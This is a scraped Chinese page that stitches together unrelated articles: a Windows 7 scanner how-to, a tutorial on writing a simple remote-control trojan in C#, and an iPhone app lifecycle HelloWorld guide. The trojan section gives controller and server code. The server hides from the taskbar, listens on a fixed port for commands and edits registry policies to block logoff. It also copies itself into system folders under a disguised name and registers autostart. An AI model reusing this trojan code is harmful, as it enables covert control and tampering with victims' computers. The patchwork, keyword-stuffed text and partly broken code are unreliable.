windows7扫描仪程序在哪里

不过有小伙伴在扫描过程中出现问题,明明扫描仪已经安装,但是不知道windows7扫描仪程序怎么启动没办法扫描。
那
【菜科解读】
我们在使用电脑的时候,有时候需要进行文件的扫描。
不过有小伙伴在扫描过程中出现问题,明明扫描仪已经安装,但是不知道windows7扫描仪程序怎么启动没办法扫描。
那今天小编就跟大家介绍下windows7扫描仪程序在哪里,怎么启动。
具体步骤如下:
1、点击开始菜单,点击“控制面板”;
2、将查看方式修改为“类别”,点击“查看设备和打印机”;
3、选中打印机然后点击“开始扫描”;
4、然后将需要扫描的图纸放到扫描仪中,盖好盖子,点击“扫描”即可。
5、按下“Win+R”组合键打开运行,在框中输入:wiaacmgr 按下回车键即可打开扫描功能;
6、我们还可以创建快捷方式
1)点击电脑左下角“开始”按钮,打开搜索框。
2)在搜索框里输入“wiaacmgr”,可以找到“wiaacmgr“应用程序。
3)右键”wiaacmgr“,点击“发送到”——“桌面快捷方式”。
4)桌面便出现了“wiaacmgr”快捷方式,这个就是扫描仪的快捷方式。
如果觉着不方便,可以重命名为扫描仪。
以上便是windows7扫描仪程序在哪里,怎么打开的方法,希望能帮到大家。
windows7扫描仪程序在哪里,windows7扫描仪程序怎么打开,windows7扫描仪程序启动方法用C#实现简单木马程序
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。
控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。
技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求使用了.NET类中的 System.Net.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +" ");int port =6678;try{//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
//提供网络访问的数据流//private NetworkStream stream;代码如下:private void button8_Click(object sender, System.EventArgs e){//纪录操作 richTextBox1.AppendText("测试连接" +" ");try{stream = client.GetStream();if(stream.CanWrite){//发送控制码string control = "jiance";byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());stream.Write(by,0,by.Length);//下次使用stream.Flush();//启动接收反回数据的线程//receive是线程执行的函数,见后面的分析threadReceive = new Thread(new ThreadStart(receive));threadReceive.Start();}}catch(Exception ee){richTextBox1.AppendText (ee.Message+" ");MessageBox.Show(ee.Message);}}3、控制生效的代码private void button9_Click(object sender, System.EventArgs e){//这里是确定要发送的控制码,RadioButton是窗体控件if(radioButton1.Checked){ control = form2.zhucex;}else if(radioButton2.Checked){ control =form3.zhuces;}else if(radioButton3.Checked){ control = warring;}else if(radioButton4.Checked){ control =suggest;}else if(radioButton5.Checked){ control =form4.mumawe;}else if(radioButton6.Checked){ control =drop;}if (control =="000000"){ MessageBox.Show("你没有输入任何控制目标!不发控制信号");richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");}else if(control != "000000"){try{//记录操作richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");stream = client.GetStream();if(stream.CanWrite ){byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(receive));threadReceive.Start();}//endif}//trycatch{richTextBox1.AppendText("服务器未连接1控制无效!" +" ");MessageBox.Show("服务器未连接1控制无效!" +" ");}}//else if}4、线程执行的函数private void receive(){//设置读取数据的空间byte[] bb = new byte[3];//读取3个字节,i为实际读取的字节数int i = stream.Read(bb,0,3);//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功if(ss=="hjc"){MessageBox.Show("连接成功");richTextBox1.AppendText("连接成功");}if(ss== "hkz"){richTextBox1.AppendText(control +"控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");}}服务端的开发:要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为 Mininized即可,这样窗体就可以隐藏运行了。
当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){//// Form1////窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;}2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能//修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析UnLogOff();//返回控制消息retMessage();break; case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default:break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。
下面就可以看到它的用法。
这里我做了一个修改注册表的子程序:使计算机不能注销。
在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。
在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{ //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}}4、在木马程序中还有一个重要的功能就是自我的复制和转移。
木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。
转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。
使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。
这里我们使用了System.IO.File类。
-- -www.bianceng.cnprivate void moveCC1(){try{//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用//sourceFileName为要移动的文件名,destFileName为文件的新路径File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");}catch {}//将新移的木马程序设为自启动.分析和前面一样try{key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}if(key1 ==null){try{RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");key1.Close();}catch{}}} //moveCC1()到这里一个简单的C#的木马就完成了。
用,实现,简单,木马,程序,用,实现,木马,程序,
iphone程序的生命周期分析
首先忘记Xcode给我们生成的代码模板,忘记xib忘记ib,我们亲自一行一行来写一个HelloWorld程序,虽然真正开发项目的时候并不需要这样做Xcode模板和ib都会为我们做好这些打杂的事情,但是现在完全由我们自己来写,放心这个程序是个非常的简单的HelloWorld 程序,代码也很少总共加起来不过10几行。
在这之前我们先来看看object-c语言的关于这段协议代码:@protocol SimpleProtocol-(void)doSomething:(NSString *)str;@end@interface SimpleClass:NSObject{}@end@implementationSimpleClass-(void) doSomething:(NSString*)str{NSLog(str);} @end 这样是一个简单的协议示例,类SimpleClasss实现了名为SimpleProtocol的协议。
协议在其它语言里跟接口非常类似,记住这个协议的实现,接下来会有用的。
接下来用Xcode新建一个名为HelloWorld的Window-based Application类型的项目。
大体上讲一下项目的文件结构,由Xcode模板生成的项目主要包含Classes(HelloWorldAppdelegate.h和HelloWorldAppdelegate.m)、Other Sources(main.m和HelloWorld_Prefix.pch)、Resources(MainWindow.xib和HelloWorld-info.plist)、Frameworks(iphoneSDK提供的系统框架)、Products(HelloWorld.app)这几部分。
直接运行这个工程会在模拟器里看到一个白色的显示界面程序,由此可见没写一行代码Xcode已经给我们生成了一个很简单的项目模板。
每一个iphone程序都包含一个UIApplication对象,它管理整个程序的生命周期,从加载第一个显示界面开始,并且监听系统事件、程序事件调度整个程序的执行。
那么上面这个简单项目中的UIApplication对象在哪呢?在这个项目中我们找不到任何关于UIApplication的代码,其实在项目中UIApplication对象是由UIApplicationMain方法初始化到内存中,首先打开Other Sources文件夹下的main.m源文件,里面只包括了一个main方法,和所有的C程序一样这个是程序入口。
代码如下:int main(int argc, char *argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; int retVal = UIApplicationMain(argc, argv, nil, nil); [pool release]; return retVal;} 在main函数中第二行代码UIApplicationMain(argc, argv, nil, nil);对UIApplication对象进行了初始化,这个方法除了argc 和 argv 参数外,另外这个函数还有2个两个字符串参数来识别UIApplication类和UIApplication代理类,在这里默认是2个nil,第一个参数为nil就默认把UIApplication类作为缺省值进行初始化,可以在这里不填nil而是使用自己定义的UIApplication子类。
至于第二个参数nil就设置为nil就把模板生成的HelloWorldAppdelegate类作为默认值。
这里有了UIApplication对象怎么又出来一个UIApplication代理类对象呢?这里需要说明UIApplication对象说是管理整个程序的生命周期其实它是什么具体的事情都不干,它只负责监听事件当需要做实际工作的时候就交给UIApplication代理类去做,UIApplication相当于传令官负责只把命令传达给UIApplication代理类这个士兵,然后由这个士兵真正去冲锋陷阵,所以需要给UIApplication对象设置代理类。
非常不好意思写了一堆罗嗦的文字还没有进入正题,不过这些罗嗦还是非常有必要的,现在开始编写我们的第一个iphone程序helloWorld。
上面不是说了要忘记代码模板,忘记xib忘记Interfcae Builder嘛,这样我们把模板自动生成的部分删除了,找到Other Sources文件下main.m删除,找到Classes文件夹下的HelloWorldAppdelegate.h和HelloWorldAppdelegate.m删除,把Resources文件夹下的MainWindow.xib删除,还有一件事情一定要做那就是打开Resources文件夹下HelloWorld-info.plist,然后找到key为“Main nib file base name”删除因为在上面我们已经删除了MainWindow.xib,这样就完成的工程的清理,变成了一个真正的空的工程没有什么实现代码。
完成上面的清理工作后,接下来开着我们的编写,首先新建程序入口main.m文件已经main方法,程序从这里开始!!!代码如下:int main(int argc, char *argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; int retVal = UIApplicationMain(argc, argv, nil, @”SampleDelegate”); [pool release]; return retVal;} NSAutoreleasePool内存自动释放池这个干什么我就不说了,你懂得的。
这里主要看一下第二行UIApplicationMain(argc, argv, nil, nil);与模板生成的相比改成UIApplicationMain(argc, argv, nil, @”SampleDelegate”);这样做我们为UIApplication对象设置了名为SampleDelegate代理类,上面不是说了UIApplication是不处理具体事情的,真正做事的是UIApplication代理类,这个名为SampleDelegate代理类就是我们需要具体写代码实现的,当UIApplication初始化后就开始监听事件,根据不同的监听事件让SampleDelegate代理类做不同的处理,比如显示第一个显示界面。
新建名为SampleDelegate.m的类,在SampleDelegate.h输入如下代码:@interface SampleDelegate : NSObject {}@end注意到没有,SampleDelegate: NSObject 这个写法是不是很眼熟 ,在看看最上面那段object-c语言的关于协议代码,SimpleClass类需要实现SimpleProtocol协议定义的方法,这样看来UIApplicationDelegate是一个协议定义,同样SampleDelegate也需要实现UIApplicationDelegate中定义的方法,只是这个协议是系统定义好的(具体可以参看UIApplicationDelegate.h)而SimpleProtocol是我们自己定义的,但是要做的事情相同,就是SampleDelegate需要去实现这UIApplicationDelegate协议定义好的方法, 这些方法就是UIApplication对象监听到系统变化的时候通知UIApplication对象代理类SampleDelegate执行的相应方法。
下面是SampleDelegate的实现代码写在SampleDelegate.m中 注意到没有,SampleDelegate: NSObject 这个写法是不是很眼熟 ,在看看最上面那段object-c语言的关于协议代码,SimpleClass类需要实现SimpleProtocol协议定义的方法,这样看来UIApplicationDelegate是一个协议定义,同样SampleDelegate也需要实现UIApplicationDelegate中定义的方法,只是这个协议是系统定义好的(具体可以参看UIApplicationDelegate.h)而SimpleProtocol是我们自己定义的,但是要做的事情相同,就是SampleDelegate需要去实现这UIApplicationDelegate协议定义好的方法, 这些方法就是UIApplication对象监听到系统变化的时候通知UIApplication对象代理类SampleDelegate执行的相应方法。
下面是SampleDelegate的实现代码写在SampleDelegate.m中:@implementation SampleDelegate- (void)applicationWillResignActive:(UIApplication *)application{}- (void)applicationDidBecomeActive:(UIApplication *)application{}- (void)applicationDidEnterBackground:(UIApplication *)application{}- (void)applicationWillEnterForeground:(UIApplication *)application{}- (void)applicationWillTerminate:(UIApplication *)application{}- (void)applicationDidReceiveMemoryWarning:(UIApplication *)application{}- (void)applicationSignificantTimeChange:(UIApplication*)application{}- (void)applicationDidFinishLaunching:(UIApplication*)application{}- (void)application:(UIApplication*)application willChangeStatusBarFrame:(CGRect)newStatusBarFrame{}- (void)application:(UIApplication*)application willChangeStatusBarOrientation:(UIInterfaceOrientation)newStatusBarOrientation duration:(NSTimeInterval)duration{}- (BOOL)application:(UIApplication*)application handleOpenURL:(NSURL*)url{ return YES;}- (void)application:(UIApplication*)application didChangeStatusBarOrientation:(UIInterfaceOrientation)oldStatusBarOrientation{}- (void)application:(UIApplication*)application didChangeSetStatusBarFrame:(CGRect)oldStatusBarFrame{}@end现在来看协议中定义的这些需要实现的方法分别是什么作用:1、- (void)applicationWillResignActive:(UIApplication *)application说明:当应用程序将要入非活动状态执行,在此期间,应用程序不接收消息或事件,比如来电话了2、- (void)applicationDidBecomeActive:(UIApplication *)application说明:当应用程序入活动状态执行,这个刚好跟上面那个方法相反3、- (void)applicationDidEnterBackground:(UIApplication *)application说明:当程序被推送到后台的时候调用。
所以要设置后台继续运行,则在这个函数里面设置即可4、- (void)applicationWillEnterForeground:(UIApplication *)application说明:当程序从后台将要重新回到前台时候调用,这个刚好跟上面的那个方法相反。
5、- (void)applicationWillTerminate:(UIApplication *)application说明:当程序将要退出是被调用,通常是用来保存数据和一些退出前的清理工作。
这个需要要设置UIApplicationExitsOnSuspend的键值。
6、- (void)applicationDidReceiveMemoryWarning:(UIApplication *)application说明:iPhone设备只有有限的内存,如果为应用程序分配了太多内存操作系统会终止应用程序的运行,在终止前会执行这个方法,通常可以在这里进行内存清理工作防止程序被终止7、- (void)applicationSignificantTimeChange:(UIApplication*)application说明:当系统时间发生改变时执行8、- (void)applicationDidFinishLaunching:(UIApplication*)application说明:当程序载入后执行9、- (void)application:(UIApplication)application willChangeStatusBarFrame:(CGRect)newStatusBarFrame说明:当StatusBar框将要变化时执行10、- (void)application:(UIApplication*)application willChangeStatusBarOrientation:(UIInterfaceOrientation)newStatusBarOrientationduration:(NSTimeInterval)duration说明:当StatusBar框方向将要变化时执行11、- (BOOL)application:(UIApplication*)application handleOpenURL:(NSURL*)url说明:当通过url执行12、- (void)application:(UIApplication*)application didChangeStatusBarOrientation:(UIInterfaceOrientation)oldStatusBarOrientation说明:当StatusBar框方向变化完成后执行13、- (void)application:(UIApplication*)application didChangeSetStatusBarFrame:(CGRect)oldStatusBarFrame说明:当StatusBar框变化完成后执行下图是我总结的一个大概流程图,不是很准确但是基本上也说明了整个过程,仅供参考。
到这为止我们的这个程序运行起来还是什么都没有看到,确实我们也没有写具体的功能代码,接下来我们要做的就是在屏幕上显示“Hello World!”,首先知道一下要在屏幕上显示,首先需要一个UIWindow对象,这个你可以认为是一个电视机,然后还需要往这个UIWindow对象里添加UIView对象, UIView相当于电视上一幕一幕的画面。
通过上面的流程知道要在程序后显示可以在applicationDidFinishLaunching方法中处理,这样修改applicationDidFinishLaunching方法如下:- (void)applicationDidFinishLaunching:(UIApplication*)application{ UIWindow *window=[[UIWindow alloc]initWithFrame:[[UIScreen mainScreen] bounds]]; SampleViewController *viewctrl=[[SampleViewController alloc]init]; [window addSubview:viewctrl.view]; [window makeKeyAndVisible];}上面的代码中做了如下几件事情:1、 实例化了一个UIWindow对象2、 实例化了SampleViewController对象3、 把SampleViewController对象UIView对象添加到UIWindow对象中4、 显示UIWindow对象看这段代码我们并没有直接实例化一个UIView对象然后添加给UIWindow对象而且通过SampleViewController对象,它是UIViewController子类负责视图的显示控制,非常的好用,在这里我们只是实现了loadView就够了,我们只要简单的显示一下“Hello World!”文字, 具体代码如下:@interface SampleViewController : UIViewController {}@end@implementation SampleViewController-(void)loadView{ UIView *contentView = [[UIView alloc] initWithFrame:[[UIScreen mainScreen] applicationFrame]]; contentView.backgroundColor = [UIColor blackColor]; self.view = contentView; [contentView release]; CGRect labelFrame = CGRectMake(40.0f, 200.0f, 240.0f, 60.0f); UILabel *frontLabel = [[UILabel alloc] initWithFrame:labelFrame]; frontLabel.text = @"Hello World!"; frontLabel.font = [UIFont fontWithName:@"Georgia" size:24.0f]; frontLabel.textColor = [UIColor colorWithRed:0.82f green:1.0f blue:0.286f alpha:1.0f]; frontLabel.backgroundColor = [UIColor colorWithRed:0.0f green:0.0f blue:0.0f alpha:0.0f]; [contentView addSubview:frontLabel]; [frontLabel release]; }@end到这里我们已经完成的HelloWorld程序的编写,点击运行就能看到如下的效果图: iphone,程序,的,生命,周期,分析,做,iphone,